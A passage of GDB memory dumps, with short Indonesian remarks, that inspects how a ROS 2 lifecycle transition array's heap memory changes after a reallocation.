0x6170000046d8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046e0: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000046e8: 0x0c 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x6170000046f0: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046f8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004700: 0x80 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004708: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004710: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004718: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004720: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004728: 0x14 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x617000004730: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004738: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004740: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004748: 0x15 0x00 0x00 0x00 0xfc 0x7f 0x00 0x00
0x617000004750: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004758: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004760: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004768: 0x16 0x00 0x00 0x00 0xfd 0xfd 0xfd 0xfd
0x617000004770: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004778: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004780: 0xc0 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004788: 0x03 0x00 0x00 0x00 0x6e 0x73 0x00 0x00
0x617000004790: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004798: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047a0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000047a8: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6170000047b0: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047b8: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047c0: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000047c8: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6170000047d0: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047d8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047e0: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000047e8: 0x20 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x6170000047f0: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047f8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004800: 0x00 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004808: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004810: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004818: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004820: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004828: 0x28 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004830: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004838: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004840: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004848: 0x29 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004850: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004858: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004860: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004868: 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004870: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004878: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004880: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004888: 0x05 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004890: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004898: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048a0: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000048a8: 0x06 0x00 0x00 0x00 0xfc 0x7f 0x00 0x00
0x6170000048b0: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048b8: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048c0: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000048c8: 0x07 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048d0: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048d8: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048e0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000048e8: 0x32 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048f0: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048f8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004900: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004908: 0x33 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004910: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004918: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004920: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004928: 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004930: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004938: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004940: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004948: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004950: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004958: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
Setelah alokasi baru, seharusnya ada 32 byte lebih:
(gdb) x/768b 0x617000004680
0x617000004680: 0x40 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004688: 0x01 0x00 0x00 0x00 0xe0 0x60 0x00 0x00
0x617000004690: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004698: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046a0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000046a8: 0x0a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6170000046b0: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046b8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046c0: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000046c8: 0x0b 0x00 0x00 0x00 0xff 0x0f 0x00 0x00
0x6170000046d0: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046d8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046e0: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000046e8: 0x0c 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x6170000046f0: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046f8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004700: 0x80 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004708: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004710: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004718: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004720: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004728: 0x14 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x617000004730: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004738: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004740: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004748: 0x15 0x00 0x00 0x00 0xfc 0x7f 0x00 0x00
0x617000004750: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004758: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004760: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004768: 0x16 0x00 0x00 0x00 0xfd 0xfd 0xfd 0xfd
0x617000004770: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004778: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004780: 0xc0 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004788: 0x03 0x00 0x00 0x00 0x6e 0x73 0x00 0x00
0x617000004790: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004798: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047a0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000047a8: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6170000047b0: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047b8: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047c0: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000047c8: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6170000047d0: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047d8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047e0: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000047e8: 0x20 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x6170000047f0: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000047f8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004800: 0x00 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004808: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004810: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004818: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004820: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004828: 0x28 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004830: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004838: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004840: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004848: 0x29 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004850: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004858: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004860: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004868: 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004870: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004878: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004880: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004888: 0x05 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004890: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004898: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048a0: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000048a8: 0x06 0x00 0x00 0x00 0xfc 0x7f 0x00 0x00
0x6170000048b0: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048b8: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048c0: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000048c8: 0x07 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048d0: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048d8: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048e0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000048e8: 0x32 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048f0: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000048f8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004900: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004908: 0x33 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004910: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004918: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004920: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004928: 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004930: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004938: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004940: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004948: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004950: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004958: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004960: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004968: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004970: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004978: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Perhatikan bagaimana 32 byte terakhir kosong:
0x617000004960: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004968: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004970: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004978: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Melangkah lebih jauh, new_transitionsmenerima penunjuk 0x617000004a00dan secara teoritis, seharusnya memiliki 768 byte, seperti transition_map->transitions:
(gdb) x/768b 0x617000004a00
0x617000004a00: 0x40 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004a08: 0x01 0x00 0x00 0x00 0xe0 0x60 0x00 0x00
0x617000004a10: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a18: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a20: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004a28: 0x0a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004a30: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a38: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a40: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004a48: 0x0b 0x00 0x00 0x00 0xff 0x0f 0x00 0x00
0x617000004a50: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a58: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a60: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004a68: 0x0c 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x617000004a70: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a78: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a80: 0x80 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004a88: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004a90: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a98: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004aa0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004aa8: 0x14 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x617000004ab0: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ab8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ac0: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004ac8: 0x15 0x00 0x00 0x00 0xfc 0x7f 0x00 0x00
0x617000004ad0: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ad8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ae0: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004ae8: 0x16 0x00 0x00 0x00 0xfd 0xfd 0xfd 0xfd
0x617000004af0: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004af8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b00: 0xc0 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004b08: 0x03 0x00 0x00 0x00 0x6e 0x73 0x00 0x00
0x617000004b10: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b18: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b20: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004b28: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004b30: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b38: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b40: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004b48: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004b50: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b58: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b60: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004b68: 0x20 0x00 0x00 0x00 0xe4 0x7f 0x00 0x00
0x617000004b70: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b78: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b80: 0x00 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004b88: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004b90: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b98: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ba0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004ba8: 0x28 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004bb0: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bb8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bc0: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004bc8: 0x29 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004bd0: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bd8: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004be0: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004be8: 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004bf0: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bf8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c00: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004c08: 0x05 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004c10: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c18: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c20: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004c28: 0x06 0x00 0x00 0x00 0xfc 0x7f 0x00 0x00
0x617000004c30: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c38: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c40: 0x40 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004c48: 0x07 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c50: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c58: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c60: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004c68: 0x32 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c70: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c78: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c80: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004c88: 0x33 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004c90: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c98: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ca0: 0x00 0x18 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004ca8: 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004cb0: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004cb8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004cc0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004cc8: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004cd0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004cd8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ce0: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x617000004ce8: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x617000004cf0: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x617000004cf8: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
Bagian memori baru telah ditandai dengan 0xbes. transition_map->transitionstelah diperbarui dan kemudian:
(gdb) p &transition
$2 = (rcl_lifecycle_transition_t *) 0x7fffeab22d90
(gdb) x/32b 0x7fffeab22d90
0x7fffeab22d90: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x7fffeab22d98: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffeab22da0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x7fffeab22da8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
(gdb) x/768b 0x617000004a00
0x617000004a00: 0x40 0x96 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004a08: 0x01 0x00 0x00 0x00 0xe0 0x60 0x00 0x00
0x617000004a10: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a18: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a20: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004a28: 0x0a 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x617000004a30: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a38: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a40: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004a48: 0x0b 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004a50: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a58: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a60: 0x00 0x98 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004a68: 0x0c 0x00 0x00 0x00 0xb9 0x7f 0x00 0x00
0x617000004a70: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a78: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a80: 0x80 0x96 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004a88: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004a90: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004a98: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004aa0: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004aa8: 0x14 0x00 0x00 0x00 0xff 0x7f 0x00 0x00
0x617000004ab0: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ab8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ac0: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004ac8: 0x15 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x617000004ad0: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ad8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ae0: 0x00 0x98 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004ae8: 0x16 0x00 0x00 0x00 0xb9 0x7f 0x00 0x00
0x617000004af0: 0xc0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004af8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b00: 0xc0 0x96 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004b08: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004b10: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b18: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b20: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004b28: 0x1e 0x00 0x00 0x00 0x65 0x5f 0x6d 0x73
0x617000004b30: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b38: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b40: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004b48: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004b50: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b58: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b60: 0x00 0x98 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004b68: 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004b70: 0x00 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b78: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b80: 0x00 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004b88: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004b90: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004b98: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ba0: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004ba8: 0x28 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004bb0: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bb8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bc0: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004bc8: 0x29 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004bd0: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bd8: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004be0: 0x00 0x98 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004be8: 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004bf0: 0x20 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004bf8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c00: 0x40 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004c08: 0x05 0x00 0x00 0x00 0x00 0x00 0x00 0x00
